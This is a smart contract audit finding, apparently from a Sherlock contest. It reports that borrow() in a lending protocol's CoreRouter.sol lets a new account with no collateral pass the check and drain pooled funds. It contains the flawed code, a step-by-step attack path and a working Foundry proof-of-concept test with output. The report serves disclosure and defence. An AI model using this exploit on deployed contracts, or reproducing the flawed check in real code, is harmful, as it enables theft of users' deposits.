Jolly Alabaster Manatee

High

# An attacker can drain protocol funds due to lack of proper collateralization check.

### Summary

The borrow() function in CoreRouter.sol does a collateralization check but due to a flawed piece of code the whole thing can be bypassed and an attacker can steal huge funds without supplying a single penny of collateral.

### Root Cause

LOC: https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L152-161

In `CoreRouter.sol#152-161` we have this snippet of code:

```solidity
(uint256 borrowed, uint256 collateral) =
            lendStorage.getHypotheticalAccountLiquidityCollateral(msg.sender, LToken(payable(_lToken)), 0, _amount);

 LendStorage.BorrowMarketState memory currentBorrow = lendStorage.getBorrowBalance(msg.sender, _lToken);

uint256 borrowAmount = currentBorrow.borrowIndex != 0
            ? ((borrowed * LTokenInterface(_lToken).borrowIndex()) / currentBorrow.borrowIndex)
            : 0;

require(collateral >= borrowAmount, "Insufficient collateral");
```

The core issue here is that when a new user(no previous borrows) is interacting with the protocol their ```currentBorrow``` is going to be zero and thus the ```borrowIndex```.

And from the snippet we can see that this sets ```borrowAmount``` to be 0 which creates an exploit scenario. The ```collateral``` is also is going to be zero since there is no previous deposit, which completely passes the require statement check.

```collateral == borrowAmount = 0``` 

(Even if the account has collateral it doesn't matter because ```collateral >= 0``` which will be true always)

The next lines ```CoreRouter.sol#167-170```

```solidity
require(LErc20Interface(_lToken).borrow(_amount) == 0, "Borrow failed");
 
// Transfer borrowed tokens to the user
IERC20(_token).transfer(msg.sender, _amount);

```

So an attacker chooses the maximum amount that can be borrowed and steal assets from the protocol which is made up of  funds of users.

### Internal Pre-conditions

None

### External Pre-conditions

None

### Attack Path

1. An attacker with an account without any previous borrows interacts with the borrow() function.
2. The attacker passes the maximum amount that can be borrowed to the borrow function.
3. The vulnerable borrow function transfers the particular amount to the attacker.

### Impact

Funds from the protocol can be drained.

### PoC

To https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/test/TestBorrowing.t.sol add the below code.

In TestBorrowing contract: 

```solidity
address alice = address(234234234);
address attacker = address(42);
```

To the setUp() function:

```solidity
address token = supportedTokens[0];
ERC20Mock(token).mint(alice, 100e18);
```

Create a new test named:

```solidity
function test_my_attack() public {
      vm.startPrank(alice); // Here a normal user alice supplies assets worth 4e18.
      address token = supportedTokens[0];
      IERC20(token).approve(address(coreRouter), type(uint).max);

      coreRouter.supply(1e18, token);
      coreRouter.supply(1e18, token);
      coreRouter.supply(1e18, token);
      coreRouter.supply(1e18, token);

      vm.startPrank(attacker);

      console.log("The token balance of attacker initially: ", IERC20(token).balanceOf(attacker));

      coreRouter.borrow(3e18, token); // An attacker with zero collateral borrows a huge amount.

      console.log("The token balance of attacker now: ", IERC20(token).balanceOf(attacker));
    }
```

Which outputs:

```bash
[PASS] test_my_attack() (gas: 937129)
Logs:
  The token balance of attacker initially:  0
  The token balance of attacker now:  3000000000000000000
```

Which shows the successful impact.

### Mitigation

The borrow function should also account for this particular case.